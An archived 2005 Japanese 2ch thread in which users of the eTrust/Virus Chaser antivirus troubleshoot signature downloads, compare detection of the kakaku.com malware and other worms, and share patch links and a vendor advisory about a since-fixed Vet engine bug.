ウィルスチェイサー Virus Chaser その3か4
http://pc8.2ch.net/test/read.cgi/sec/1097846160/

472 :名無しさん@お腹いっぱい。:2005/05/13(金) 13:05:09
>>469
窓から捨てる

473 :名無しさん@お腹いっぱい。:2005/05/14(土) 10:34:49
>>472
できたよありがとう

474 :名無しさん@お腹いっぱい。:2005/05/14(土) 10:44:33
> 23.69.20 WIN32/ANTINNY.4459300 DETECTION

これ新種?

475 :名無しさん@お腹いっぱい。:2005/05/14(土) 17:15:59
やっと対応したんだよ

476 :名無しさん@お腹いっぱい。:2005/05/15(日) 14:10:41
シグネチャがうまくダウンロードできません。
IEやFFFTPを使っても駄目。ファイルのリストは表示されるんだけど降ってきません。
皆さんは正常に出来てますか?

477 :名無しさん@お腹いっぱい。:2005/05/15(日) 14:12:22
以下、ログの一部です。

2005/05/15 04:27:50,0,SYSTEM,0,AV配布プログラムによって設定データがロードされています。
2005/05/15 04:27:50,0,SYSTEM,0,FTPサイト(ftpav.ca.com)からダウンロードしています。
2005/05/15 04:27:50,0,SYSTEM,0,FTPログオンのユーザ名: anonymous
2005/05/15 04:27:50,0,SYSTEM,0,プロキシ サーバが指定されませんでした。
2005/05/15 04:27:50,0,SYSTEM,0,ダウンロード パス (/pub/inoculan/scaneng/) を使用しています。
2005/05/15 04:27:50,0,SYSTEM,0,接続を開こうとしています。
2005/05/15 04:27:50,0,SYSTEM,0,インターネットに接続しています。
2005/05/15 04:27:50,0,SYSTEM,0,接続時のタイムアウトを 60 秒に設定します。
2005/05/15 04:27:50,0,SYSTEM,0,接続にログオンしています。
2005/05/15 04:27:50,0,SYSTEM,0,FTPサーバに接続しています (ftpav.ca.com)。
2005/05/15 04:27:51,0,SYSTEM,0,ダウンロード ディレクトリ: C:\Program Files\CA\SharedComponents\ScanEngine\Incoming
2005/05/15 04:27:51,0,SYSTEM,0,シグネチャ ファイルのリストをダウンロードしています。
2005/05/15 04:27:51,0,SYSTEM,0,InoculateIT エンジン(Windows NT/2000/XP/2003 (i386))のアップデートがローカル マシンのアップデートに使用されます。
2005/05/15 04:27:51,0,SYSTEM,0,フル パッケージをダウンロードしています。
2005/05/15 04:28:52,2,SYSTEM,12002,ファイル(/pub/inoculan/scaneng/fi_nt86.exe)のダウンロード エラーです。
2005/05/15 04:28:53,2,SYSTEM,12002,リクエストがタイムアウトになりました。
2005/05/15 04:28:53,2,SYSTEM,0,インターネット エラー メッセージ 200 Command okay.
2005/05/15 04:28:53,2,SYSTEM,0,インターネット エラー メッセージ 200 PORT command successful.
2005/05/15 04:28:53,2,SYSTEM,0,インターネット エラー メッセージ 213 3870797
2005/05/15 04:28:53,2,SYSTEM,0,インターネット エラー メッセージ 200 Command okay.
2005/05/15 04:28:53,1,SYSTEM,2,InoculateIT エンジン(Windows NT/2000/XP/2003 (i386) 用)の情報がリモート サイト上に見つかりません。

2005/05/15 04:29:54,1,SYSTEM,2,ダウンロード プロセス 失敗 が完了しました。


478 :476:2005/05/15(日) 14:18:49
ちなみにOSはWindowsXP SP1
FirewallにOutpostを使ってますが、該当しそうなブロック項目は見当たらず
一応無効にして試してみましたがやはり駄目・・・

479 :名無しさん@お腹いっぱい。:2005/05/15(日) 14:49:49
>>478
XPのPFWを切れ。
切っても駄目なら他の要素(ルータがブロックしている等)を何とかしろ。

480 :476:2005/05/15(日) 15:20:40
>>479
ありがとう。XPのFirewallは切ってます。
皆さん普通にダウンロードできているって事ですよね?

自分の所のネットワークの問題か・・・

481 :もうやってそうな気もするけど・・・:2005/05/15(日) 16:48:43
>>480
デフォはパッシブFTPらしいからFTPdataだけどっかで塞いでないか?
というかアクティブFTPにする設定ない?


ダメだったらとりあえずマターリとシグネチャが最新かどうか見てみ(もちろんFTPと無関係だけど)
inoculateIT:23.69.20
VET:11.9.9132

もし最新じゃなかったら
ttp://www3.ca.com/support/vicdownload/SignDownload.aspx?CID=49737
(サイト・インストーラは英語だけどシグネチャは同じだと思われ)
# ところでそろそろAMD64→Windows XP x64 (64bit-WinXP on AMD64/EM64T)とかにしないとまぎらわしい悪寒
# ついでにWindows NT/2000/XP→Windows NT/2000/XP(32bit)も、IA64は・・・使ってる香具師少ないからいいかw
# いちばんまぎらわしいのはどこやねんって話だけどwww

482 :名無しさん@お腹いっぱい。:2005/05/15(日) 19:18:23
>>480
ふと思ったが、当然パッチは全て当ててるよな?

483 :476:2005/05/15(日) 21:49:01
>>481-482
シグネチャのダウンロードサイトをftp.ca.comに替えたら落とせました。
ftpav.ca.comやftpav2003.ca.comから落とそうとした場合、
差分ファイルのii_nt86.exeは落とせますが、fi_nt86.exeの方は相変わらず落とせません。
取り敢えずftp.ca.comにすることで落とせたので良しとします。
ありがとうございました。

484 :名無しさん@お腹いっぱい。:2005/05/16(月) 00:12:43
> 23.69.21 WIN32/ANTINNY.5718016 DETECTION

これは?

485 :名無しさん@お腹いっぱい。:2005/05/16(月) 13:13:14
『価格.com』サイバー攻撃によりHP閉鎖!
http://pc8.2ch.net/test/read.cgi/pcnews/1116180106/


これ大丈夫なの?

486 :名無しさん@お腹いっぱい。:2005/05/16(月) 13:38:30
まだ対応してないっぽ。
まとめサイトに出てたa02.css落として検索させてみたけど
Vet 11.9.9132
InoculateIT 23.69.21
ともに検出せず。

それとVirusTotalにあるeTrust-irisって何?
InoculateITエンジンの事かと思ったけどシグネチャのバージョンが
全然違うんだけど。

487 :名無しさん@お腹いっぱい。:2005/05/16(月) 14:51:06
608 名前:名無しさん@5周年[] 投稿日:2005/05/16(月) 02:39:55 ID:earpoLKi
感染するのはIFRAME脆弱性パッチ
(去年の12月パッチであるKB889669)
を導入していないWindows+IEみたいだ

ただしWindows XP SP2は感染しない。FirefoxやOperaも感染しない
らしい
-------------------------------------------------------------------
なので、Windows Updateをしていないとまずいと思います。

488 :名無しさん@お腹いっぱい。:2005/05/16(月) 16:22:06
Vet 11.9.9137も検出せず
これだけ大騒ぎになってる(日本限定だけどw)やつだから大丈夫とは思うけど
ちゃんと兼帯入手できてるか余計な心配したくなってきた

>>486
なんかVET?のバージョンも変だね
>eTrust-Iris7.1.194.005.15.2005no virus found
>eTrust-Vet11.9.1.005.13.2005no virus found
つーか486さんのVETなんで数日前のなの?(InoculateIT 23.69.21は現時点でも最新)

>>487のは
2chニュー速スレ:kakaku.comが不正アクセスで閉鎖 閲覧ユーザーはウイルス感染も
http://news19.2ch.net/test/read.cgi/newsplus/1116172924/608

489 :名無しさん@お腹いっぱい。:2005/05/16(月) 16:48:21
>>487では無理っぽい

違うIFRAMEの脆弱性みたい

490 :名無しさん@お腹いっぱい。:2005/05/16(月) 17:07:45
http://www.casupport.jp/virusinfo/2004/win32_gema_f.htm

これとは違うの?

491 :486:2005/05/16(月) 17:50:21
>>488
どうも自動ダウンロードでエラーが起きてたみたい。
今手動で落としたら無事Vetも最新になった。

ご指摘ありがトン。

492 :名無しさん@お腹いっぱい。:2005/05/17(火) 17:01:01
InoculateIT 23.69.23 反応(Win32.MM1!PWS!.Trojan)

>>489ITmediaの中の人は487と同じ結論
ttp://www.itmedia.co.jp/news/articles/0505/16/news035.html

493 :492:2005/05/17(火) 17:11:50
ちなみにVET 11.9.9140は反応しない
InoculateIT 23.69.22はどうだったんだろう?

494 :名無しさん@お腹いっぱい。:2005/05/17(火) 17:28:44
Vetエンジンの対応はいつもITエンジンの1日遅れくらい。
明日には対応するんじゃない?

495 :名無しさん@お腹いっぱい。:2005/05/17(火) 23:41:27
InoculateIT 23.69.22だと
counter.ap?id=a02のローカルキャッシュを
HTML/objData!Exploit!Trojanとして検出

496 :名無しさん@お腹いっぱい。:2005/05/18(水) 01:33:26
きょうは
WORM_MYTOB.ER (トレンドマイクロ)
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_MYTOB.ER
が大量に送られてきてるけど、InoculateIT 23.69.23 で無反応。

497 :492のウイルスeTrust完全対応:2005/05/18(水) 16:39:47
VET 11.9.9143 で"HTML.Lineage.S"として反応する
(11.9.9141&11.9.4142は不明)
>>495もあるし名前混乱してるね
このウイルスはインストーラと本体に分かれてるらしいからそのせいもあるんだろうけど




漏れはもうおなかいっぱい、次から別種重要ウイルスeTrust対応状況誰かカキコおながい

498 :名無しさん@お腹いっぱい。:2005/05/19(木) 15:24:35
今週の大幅ダウンはこれ

51位→184位 これ以上キミはいらない 堂島孝平

499 :名無しさん@お腹いっぱい。:2005/05/19(木) 18:31:01
eTrustはまだカカクコムウィルスに対応してないんか?おっせえな


2005/5/19 17:00更新

メーカー名 対応ソフト名 定義ファイルバージョン ※1検出ウイルス名 検疫 駆除 ※2
体験版トレンドマイクロ ウイルスバスター2005 2.631.00(5/16) TROJ_DELF.RM ○ メーカー手順
に従い削除 あり シマンテック Norton AntiVirus 2005 70516g(5/16) Trojan.Jasbom ○ メーカー手順
に従い削除 あり マカフィー ウイルススキャン 自動対応(5/19) JS/Exploit-MhtRedir.gen
PWS-Lineage!chm ○ 自動削除 あり ソースネクスト ウイルスセキュリティ 7.1.67
(5/17) Trojan.Psteal.Delf.fz ○ メーカー手順に従い削除 あり キヤノンシステムソリューションズ NOD32アンチウイルス 1.1093
(5/16) Win32/PWS.Delf.FZtrojandownloader.small.AAO ○ メーカー手順に従い削除 あり アンラボ V3ウイルスブロック2005 2005.05.16.00
2005.05.16.01(5/17) Win-Trojan/SmallWin-Trojan/Delf ○ 自動削除 あり インテリジェントウェイブ ウイルスチェイサー C559V5715
(5/16) Trojan.PWS.Lineage ○ メーカー手順に従い削除 あり パンダソフトウェア Panda Titanium Antivirus 2005/05/16
(5/16) Trj/Lineage.FZ ○ ソフト上で削除 あり Panda ActivScan(無料オンラインスキャン) オンライン版 ソフォス Sophos Anti-Virus mytob-cj.ide(5/17) Troj/LegMir-AE ○ 設定により自動削除 あり 日本エフ・セキュア F-Secure アンチウィルス 2005-05
-12_03 Trojan-PSW.Win32.Delf.fz ○ メーカー手順に従い削除 あり デジターボ ウイルスドクター9 追加 2005-05-17 Trojan/PSW.Lineage.gi.HookTrojanDropper.Mht.Psyme.dnx ○ メーカー手順に従い削除 あり



500 :名無しさん@お腹いっぱい。:2005/05/19(木) 19:11:52
これから狙われるとしたら中国系からだと思うんで
アジアン軽視なのは使わないほうがいいかも

501 :名無しさん@お腹いっぱい。:2005/05/19(木) 20:00:10
無料だから使ってます

502 :名無しさん@お腹いっぱい。:2005/05/19(木) 20:09:04
Delfは検出できる?

503 :名無しさん@お腹いっぱい。:2005/05/19(木) 20:29:17
無料ってのが大きいよね。
無料で使えるアンチウィルスソフトで
定義ファイルが平日毎日更新なのって他にあるのかしらん?
(ここ暫く全く他ソフトの情報を集めてないもので純粋に質問)

504 :名無しさん@お腹いっぱい。:2005/05/19(木) 20:41:44
純粋な疑問じゃなくて、他のチェックを怠ってるだけだろ。
ほとんどは毎日更新してるって。

505 :名無しさん@お腹いっぱい。:2005/05/19(木) 21:03:50
そりゃどうも。時代は進みましたな。
確かに調べてみたら毎日更新してるらしきフリーのソフトがぎょーさんありましたわ。
調べてから質問しろってなぁごもっともですわ。すんまそん

506 :名無しさん@お腹いっぱい。:2005/05/19(木) 21:20:47
>>499
なにゆうてんの?
せめてコピペは整理してからしてね

507 :名無しさん@お腹いっぱい。:2005/05/19(木) 21:59:35
だから対応してないんだよ
実用的なソフトではないということだよ

分かった?

508 :名無しさん@お腹いっぱい。:2005/05/19(木) 22:42:14
>>506
馬鹿のお前に分かりやすくいうとな、eTrustは使えねえってことだよ

509 :名無しさん@お腹いっぱい。:2005/05/19(木) 22:46:06
これって有害無益なmessengerサービスを利用してるんだってね。

510 :名無しさん@お腹いっぱい。:2005/05/19(木) 22:54:22
487 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/05/16(月) 14:51:06
608 名前:名無しさん@5周年[] 投稿日:2005/05/16(月) 02:39:55 ID:earpoLKi
感染するのはIFRAME脆弱性パッチ
(去年の12月パッチであるKB889669)
を導入していないWindows+IEみたいだ

ただしWindows XP SP2は感染しない。FirefoxやOperaも感染しない
らしい
-------------------------------------------------------------------
なので、Windows Updateをしていないとまずいと思います。



アンチウイルスソフト以前の問題。

511 :いちおうマジレス:2005/05/19(木) 22:55:16
>>499
対応してる
>>492
>>497

頼むよ>カカク暫定まとめサイトの中の人

512 :名無しさん@お腹いっぱい。:2005/05/19(木) 23:35:18
eTrust貶して楽しい?
>>507-509

513 :名無しさん@お腹いっぱい。:2005/05/20(金) 04:44:33
このあたりじゃない?ウイルス持ってないから分からんけど。

23.69.25 WIN32/LINEAGE.DLL.S DETECTION
23.69.22 WIN32/LINEAGE.61440!PWS DETECTION
23.69.22 WIN32/LINEAGE.61440!PWS!DLL DETECTION

514 :名無しさん@お腹いっぱい。:2005/05/20(金) 04:53:12
あ、失礼!こっちだったのね。。。

23.69.22 WIN32/MM1!PWS DETECTION

515 :名無しさん@お腹いっぱい。:2005/05/21(土) 14:29:55
パッチ and アップデートのホームページが削除されてもた・・・

516 :名無しさん@お腹いっぱい。:2005/05/21(土) 14:57:28
パッチ and アップデート
7.0用
ttp://supportconnectw.ca.com/public/antivirus/downloads/win95/etavwin9x_70.asp
ttp://supportconnectw.ca.com/public/antivirus/downloads/nt/7.0/etavwinnt_70.asp
7.1用
ttp://supportconnectw.ca.com/public/antivirus/downloads/win95/etavwin9x_71.asp
ttp://supportconnectw.ca.com/public/antivirus/downloads/nt/7.1/etavwinnt_71.asp

517 :名無しさん@お腹いっぱい。:2005/05/21(土) 16:15:15
>>516
premiun→publicに移ったのね

518 :名無しさん@お腹いっぱい。:2005/05/21(土) 22:26:40
このアンチウイルス、OS起動直後にかなりCPU食うけど、
みんなこんな感じなの?

519 :名無しさん@お腹いっぱい。:2005/05/21(土) 23:36:14
ついさっき気づいたが、シグネチャが 23.64で止まったまま
1年ぐらい過ごしてたみたいだ。ためしに手動でdownload nowしても
変わらず。
ドライバ更新したら直った。


520 :名無しさん@お腹いっぱい。:2005/05/22(日) 06:58:45
こわい

521 :名無しさん@お腹いっぱい。:2005/05/24(火) 02:11:47
まんじゅう

522 :名無しさん@お腹いっぱい。:2005/05/24(火) 04:33:06
渋いお茶

523 :名無しさん@お腹いっぱい。:2005/05/24(火) 11:16:17
ここらでひとつ、オッパイとオマソコがこわい

524 :名無しさん@お腹いっぱい。:2005/05/24(火) 11:49:05
女性不信ですね

525 :名無しさん@お腹いっぱい。:2005/05/24(火) 11:49:43
いや、女性恐怖症かな

526 :名無しさん@お腹いっぱい。:2005/05/24(火) 13:02:21
結局、山田ウイルスや価格コムのウイルスには対応してないところを見ると
日本ではあまり通用しないソフトだよね
使いやすいソフトなんだけどねえ。。。

527 :名無しさん@お腹いっぱい。:2005/05/24(火) 13:52:37
山田は対応してるよ。亜種にどこまで対応してるかは知らないけど。
価格コムも対応してるって上の方に書いてあったと思った。
そもそも価格コムのウイルスって新種じゃないんじゃなかったっけ?

528 :名無しさん@お腹いっぱい。:2005/05/24(火) 15:25:16
ttp://japan.zdnet.com/news/sec/story/0,2000052528,20083802,00.htm

529 :名無しさん@お腹いっぱい。:2005/05/24(火) 16:20:52
>>527
山田の亜種・田中の検出も確認。
ドロッパーのTanakaとして検知されますた。

530 :名無しさん@お腹いっぱい。:2005/05/24(火) 17:10:17
>>528
これって要はVetエンジンに欠陥があったけど
11.9.1で直しましたって事?
ま、自動アップデートしてる人は問題ないでしょ。

531 :名無しさん@お腹いっぱい。:2005/05/24(火) 17:59:09
23.69.30
11.9.9153

532 :名無しさん@お腹いっぱい。:2005/05/25(水) 16:21:53
今日、ヨドバシ行ったら店頭先に出てた。
eTrustAntivirus売れてるみたいだった。

533 :名無しさん@お腹いっぱい。:2005/05/25(水) 18:57:11
eTrustってMSが使ってるんでそ?
すごい信頼性ジャン

534 :名無しさん@お腹いっぱい。:2005/05/25(水) 22:17:47
なぜか検出率は低いんだが。

535 :名無しさん@お腹いっぱい。:2005/05/26(木) 02:52:50
クマー

536 :名無しさん@お腹いっぱい。:2005/05/26(木) 10:19:00
やはりノートンが安定感はあるな

537 :名無しさん@お腹いっぱい。:2005/05/26(木) 11:02:34
クマー

538 :名無しさん@お腹いっぱい。:2005/05/26(木) 12:28:39
プロモ7.0に7.1日本語try入れたら使えた。既出であればご免。
ネット接続していないノートなのでこれで十分です。

539 :名無しさん@お腹いっぱい。:2005/05/27(金) 21:38:43
なんか今日は signature, engine ダウンロードできる時と
できないときがあるな

540 :名無しさん@お腹いっぱい。:2005/05/27(金) 21:50:43
その時は手動でどうでしょう。
http://www3.ca.com/support/vicdownload/SignDownload.aspx?CID=49737

541 :名無しさん@お腹いっぱい。:2005/05/28(土) 23:20:37
inocmd32にやたら長いファイル名を渡すとアクセス違反で死ぬのは俺だけ?

542 :名無しさん@お腹いっぱい。:2005/05/29(日) 15:15:52
CA本家サイトのEZArmorの体験版入れてみたら
これとZoneAlarmOEMのバンドルだった・・・

543 :名無しさん@お腹いっぱい。:2005/05/29(日) 18:23:14
>>542
>>7

544 :名無しさん@お腹いっぱい。:2005/06/02(木) 15:49:39
パッチ必要なの当ててりゃ無問題だけどそろそろ累積パッチにまとめて星井

545 :名無しさん@お腹いっぱい。:2005/06/04(土) 09:23:44
http://www.casupport.jp/resources/etrust/vet.htm

546 :名無しさん@お腹いっぱい。:2005/06/04(土) 14:27:02
Vetエンジンの脆弱性について
問題内容:
この問題は、アンチウイルスのVetエンジン(VetE.dll)がOLEストリームを解析する際に整数オーバーフローが発生する場合があります。
この脆弱性を利用すると、細工を施したMicrosoft Office文書などを使ってヒープオーバーフローを引き起こし、任意のコードを実行される可能性があります。

重要度:
この問題は、Vetエンジンを使用するすべての製品に幅広い影響を与えるため、 「中」のリスクとしてレベル分類しています。

ステータス:
Vetエンジン11.9.1以降でこの脆弱性を修正しております。
このVetエンジンは5/3以降のシグネチャのに含まれておりますので、シグネチャのアップデートを行ってください。
最新のシグネチャは下記のURLよりダウンロード可能です。
ftp://ftpav.ca.com/pub/inoculan/scaneng/fv_nt86.exe

547 :名無しさん@お腹いっぱい。:2005/06/04(土) 14:32:10
リアルタイムモニターメモリ使いすぎ。。。。
どんどん増えてくよ

548 :名無しさん@お腹いっぱい。:2005/06/04(土) 15:22:28
test

549 :名無しさん@お腹いっぱい。:2005/06/07(火) 08:59:59
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20050602/4/

CA日本法人,OutlookやOutlook Expressに組み込めるスパム・メール対策ソフトを発表

550 :☆人権擁護法案反対☆:2005/06/10(金) 10:37:18
ほう

551 :名無しさん@お腹いっぱい。:2005/06/10(金) 10:46:55
ほけきょ

552 :名無しさん@お腹いっぱい。:2005/06/10(金) 15:19:11
なんでやねん

553 :名無しさん@お腹いっぱい。:2005/06/11(土) 13:11:15
やっぱすきやねん

554 :名無しさん@お腹いっぱい。:2005/06/12(日) 14:50:48
eTrust 7.0 promo(日本語化済)を昨日インストールしたんだけど
PC起動時の自動アップデートが、必ずタイムアウトで失敗するので
アップデート開始を遅延させたいのですが
そういうことは可能ですか?
もし可能ならば教えていただけるとありがたいです。

WinXPsp2、>>5のパッチ3つと備考のQO55604は当ててあります。

555 :名無しさん@お腹いっぱい。:2005/06/12(日) 15:53:49
>>554
ダウンロードサイトを2つ登録しておくと、最初のサイトからのダウンロードは、
失敗するが、2つめのサイトでダウンロードが成功する。

556 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:35:34
オレは
ftpav.ca.com
ftp.ca.com
ftpav.ca.com
ftp.ca.com
ftpav.ca.com
ftp.ca.com
と交互に6つ。
更新間隔も1時間にしてるけど、
最後まで失敗ってまずないな。

557 :554:2005/06/12(日) 23:54:30
>>555
すみません、急用ができてしまって返事が遅れましたが、ありがとうございます。
シグネチャのダウンロード ソース サイト でFTPサイト(ftpav.ca.com)を追加したら
起動時の(2つめの)アップデートが成功するようになりました。

>>556
デフォルトの ftpav2003.ca.com を使わないのには何か理由があるのですか?

558 :名無しさん@お腹いっぱい。:2005/06/13(月) 08:59:41
日本語化のURL教えて頂けないですか?

559 :名無しさん@お腹いっぱい。:2005/06/13(月) 09:20:25
http://nyar.jpn.org/index.php

560 :556:2005/06/13(月) 10:21:00
>>557
オレの環境だと何故か知らんがタイムアウトが多い。
経験上、タイムアウトエラーが多いのは
ftpav2003.ca.com
ftp.ca.com
ftpav.ca.com
の順のような気がするから。
タイムアウトはデフォの1分から10秒に変更。
これも経験上、10秒待ってでダメだったら1分待ってもダメだから。

561 :554:2005/06/14(火) 00:56:24
>>560
なるほど、ありがとうございます。
タイムアウト設定の件も参考になりました。

562 :名無しさん@お腹いっぱい。:2005/06/14(火) 18:21:04
>>554
Windows XP SP2 のファイアーウォールを使ってる?
ファイアーウォールを有効にしてると起動時のアップデートがタイムアウト
になる。 そこら辺の設定を見直してみれば。
まぁー、しっかり仕事してると思えばいいんじゃない?

ちなみにオレが使ってるKerioは起動時にちゃんとアップデート出来る。



563 :名無しさん@お腹いっぱい。:2005/06/15(水) 02:29:27
InoculateITが12日、Vetが10日からタイムアウトになりアップデート出来なくなったんだけど
他の人は出来てます?

564 :名無しさん@お腹いっぱい。:2005/06/15(水) 04:33:36
>>563
家からはftpav2003.ca.comで遅延もなく落ちてくるよ。

565 :名無しさん@お腹いっぱい。:2005/06/16(木) 00:20:36
>>562
554です。Windows XP SP2 のファイアーウォールは切ってあります。
代わりに、プリインストールされていたPCGATEを使ってます。
まあ、現状でもアップデートはできているので特に問題はないですね。

>>563
うちでは問題ないです。

566 :名無しさん@お腹いっぱい。:2005/06/17(金) 12:49:23
V7.1になったらライセンスキーの入力がやりにくいぞ

V7.0の時はインストール時に入力プロンプトが出たのに
V7.1だと
 インストール→そのまま再起動でトライアルとして作動
 後からCD内を捜してライセンスキー管理プログラムをインストール
 ライセンスキー管理プログラムを実行してライセンスキー入力

コレはちょっと問題では?

567 :名無しさん@お腹いっぱい。:2005/06/17(金) 14:17:22
企業向けと家庭向け(ezライセンス)は何が違うの?
家庭向けは設定項目少なすぎてなんか心配

568 :名無しさん@お腹いっぱい。:2005/06/17(金) 21:13:34
V7.1の無償バージョンアップcdをインストール時はライセンスキーの入力画面は出てこねーぞ。

569 :566:2005/06/17(金) 22:33:32
>568
新規PC(Win2KServer)に新規パッケージ購入V7.1を
新規インストールしようとした時のことです

以前別の新規PC(Win2pro)に新規パッケージ購入V7.0を
新規インストールしようとした時はインストール中にライセンスキー入力を要求されたんですが


570 :名無しさん@お腹いっぱい。:2005/06/18(土) 22:48:30
この劇画タッチの絵は何ですか?
どういったセンスなんだ?
ttp://store.caj.co.jp/

571 :名無しさん@お腹いっぱい。:2005/06/19(日) 02:27:33
新しいパッチが出てたけど、どれもEXE形式では配布していないみたい。
無理して入れる必要はないのかな。

7.0
http://supportconnectw.ca.com/public/antivirus/downloads/nt/7.0/etavwinnt_70.asp
QO69135CAZ  74 KB   06/17/05  NT -REMOTE INSTALL ON WINXP SP2 FAILED
QO69033CAZ  187 KB  06/16/05  NT -PROBLEMS WITH NETWARE ATTRIBUTES

7.1
http://supportconnectw.ca.com/public/antivirus/downloads/nt/7.1/etavwinnt_71.asp
QO69136CAZ  1.8 MB   06/17/05  NT -ENG-32BIT-ETRUST AV 71 IS NOT SHOWN IN SC
QO69133CAZ  1.3 MB   06/17/05  NT -JAPANESE-64 BIT ETRUST NOT SHOWN IN SC
QO69034CAZ  189 KB   06/16/05  NT -NETWARE ATTRIBUTES GETTING DELETED
QO68976CAZ  6.9 MB   06/16/05  NT -CUMMFIX 501 FAILS TO INSTALL
QO68975CAZ  350 KB   06/16/05  NT -INOTASK HIGH CPU AFTER SCAN
QO68974CAZ  195 KB   06/16/05  NT -SCHEDULE SCAN CANNOT MOVE READ ONLY FILE

572 :名無しさん@お腹いっぱい。:2005/06/19(日) 02:58:25
>>570AntiSpamのヤツm9(^Д^)プギャーッ

573 :名無しさん@お腹いっぱい。:2005/06/19(日) 22:12:13
7.1はQO68975.CAZとQO68974.CAZは当てておいた方が良いね。
あとは、他言語や他OSの修正みたいだし。

しかし、いい加減こういうアップデート方法やめてくんねえかなあ?


574 :名無しさん@お腹いっぱい。:2005/06/20(月) 04:58:46
>570
鼻水出た

575 :名無しさん@お腹いっぱい。:2005/06/20(月) 08:56:18
>>570
吹いたww

576 :名無しさん@お腹いっぱい。:2005/06/22(水) 07:54:01
>>570
GJだな

577 :人権擁護法案反対:2005/06/22(水) 16:08:16
昭和初期か

578 :名無しさん@お腹いっぱい。:2005/06/22(水) 23:54:05
統計情報を見たらエラーの数が200ぐらいになってた。
何だろこれ?

579 :名無しさん@お腹いっぱい。:2005/06/25(土) 14:46:13
.EXEがないパッチはどう当てればいいんでしょうか

580 :名無しさん@お腹いっぱい。:2005/06/25(土) 20:00:29
>>579
CAZの解凍の仕方
ttp://www.caj.co.jp/down/patch/cazipxp.htm

パッチの当て方はパッチごとの説明を読んでみて(`・ω・´)

581 :名無しさん@お腹いっぱい。:2005/06/25(土) 20:04:21
>>580
実にメンドクせえな。やっとられん

582 :名無しさん@お腹いっぱい。:2005/06/25(土) 20:44:04
>>581
確かにマンドクセ('A`)

583 :名無しさん@お腹いっぱい。:2005/06/26(日) 05:49:37
コマンドラインで解凍するのが面倒臭いなら Noah にでも登録して使えば?
http://www.vector.co.jp/soft/win95/util/se106079.html

下記の五行をコピペしたテキストファイルを「caz.b2e」と言うファイル名で保存して、
cazipxp.exe と一緒に b2e フォルダに入れれば *.caz を解凍できるようになると思う。

load:
(name cazipxp.exe)

decode:
(cmd -u (arc))

584 :名無しさん@お腹いっぱい。:2005/06/26(日) 05:55:08
>>580
ありがとうございます
でもCAZIPXP.EXEが「ページが見つかりません」となってダウンできません・・・

585 :名無しさん@お腹いっぱい。:2005/06/26(日) 06:00:50
>>584
ファイアウォールソフトなどの設定を見直してみたら?
うちの環境では問題無くダウンロードできるから。

586 :名無しさん@お腹いっぱい。:2005/06/27(月) 22:30:56
【芸能】つんく♂がヌード写真集を9月6日に発売
http://news18.2ch.net/test/read.cgi/mnewsplus/1119866823/

587 :名無しさん@お腹いっぱい。:2005/07/02(土) 12:03:59
起動5分後に勝手にシグ姉ちゃんうpだて始めるの止めるにはどうすればいいんだっけ?

588 :名無しさん@お腹いっぱい。:2005/07/03(日) 20:46:13
その前にまず日本語を話してくれよ。

589 :名無しさん@お腹いっぱい。:2005/07/05(火) 00:44:09
このウイルスに対応してますか・
http://www.geocities.jp/troj_hirofu/

590 :名無しさん@お腹いっぱい。:2005/07/06(水) 22:31:34
日本語化バッチ使えない。一部文字化けするし,スタートアップですべてのプ
ログラムもRealtime Monitorの表示のままで「リアルタイムモニター」と訳さ
れていない。eav7promo.exeをインストールしたファイルに, eAV71jpn.exeを
展開したファイルを上書きさせるときちんと日本語化がされます。

591 :名無しさん@お腹いっぱい。:2005/07/07(木) 08:17:22
日本語化バッチってfreeですか?

592 :名無しさん@お腹いっぱい。:2005/07/07(木) 16:35:42
日本語バッチって何だよ

593 :名無しさん@お腹いっぱい。:2005/07/07(木) 17:35:56
echo 日本語



594 :名無しさん@お腹いっぱい。:2005/07/08(金) 18:20:47
eAV62_jp.EXE
eAV62se_jp.EXEだよ。eAV71jpn.exeに入っている。これを外からクリックして
プロモ版を日本語化しようとすると、一部文字化けする。



595 :sage:2005/07/08(金) 18:44:15
eAV61_jp.exe
eAV61se_jp.exe

596 :名無しさん@お腹いっぱい。:2005/07/08(金) 22:37:20
eAV61_jp.exe
eAV61se_jp.exe は古いからダメ。2003版だ。
現在ダウンロード出来るeAV71jpn.exe(日本語トライ版)をLhaz等で書庫閲覧
すると
eAV62_jp.EXE
eAV62se_jp.EXE(2004版) が出てくる。



597 :名無しさん@お腹いっぱい。:2005/07/09(土) 11:29:36
ところでeTrustインターネットセキュリティスイート2005ってどうなん?


598 :名無しさん@お腹いっぱい。:2005/07/09(土) 22:22:45
今までは virus@ca.com に検体を送ると、小一時間以内に受け取ったとのメールが来て、
その後分析が済めばメール、シグネチャが対応すればメールと、都合3回メールが来てたんだけど、
三日前に送った検体には音沙汰がない。まだシグネチャ対応もしてない様子。
どうしたんだろう?

599 :名無しさん@お腹いっぱい。:2005/07/12(火) 02:06:44
インストールし直して、パッチhttp://www.casupport.jp/resources/eav7/down/ 
当てたら、今まで「ftpav.ca.com サイト ・A からダウンロードします。」とな
っていたのに、「ftpav.ca.com サイト d磚 からダウンロードします。」になっ
てしまった。またeAV62_jp.exe クリックしないと駄目かな。

ところで、CAZファイルはダウンロードしたCAZIPXP.EXE(ftp://ftp.cai.com/CAproducts/Cazipxp.exe)
のアイコン上にドラックすれば展開されます。一応確認まで。

600 :名無しさん@お腹いっぱい。:2005/07/14(木) 12:51:08
6000get

601 :名無しさん@お腹いっぱい。:2005/07/14(木) 18:32:32
InoculateITよりもVETのシグネチャの更新が速いのだけれど、以前は逆だった
様な気がするのですが…。なぜだろう。現在のビルド日付 IT:7/13 VET:7/14

602 :名無しさん@お腹いっぱい。:2005/07/14(木) 18:56:39
今落としてみたらInoculateITも7/14になってるよ
VETもInoculateITと同時にしただけなんじゃない?

603 :名無しさん@お腹いっぱい。:2005/07/14(木) 18:59:30
あバージョン書かなきゃ意味ないか
InoculateIT:23.69.88
Vet:11.9.9269

604 :名無しさん@お腹いっぱい。:2005/07/14(木) 19:27:33
ftp://ftpav.ca.com/pub/inoculan/scaneng/
ii_nt86.exe 23.69.88  2005/7/13 21:21
iv_nt86.exe 11.9.9269 2005/7/14 08:26

これだけ見るとInoculateITの方が早いけれど
InoculateIT 23.69.88に対応するVetのバージョンは11.9.9265か6辺りみたいだから・・・
どちらが早いのか・・・

605 :名無しさん@お腹いっぱい。:2005/07/14(木) 23:05:05
http://www3.ca.com/support/vicdownload/SignDownload.aspx?CID=49737

私はXPだけれど, 604さんのように内容は詳しく分かりませんが,日付だけ
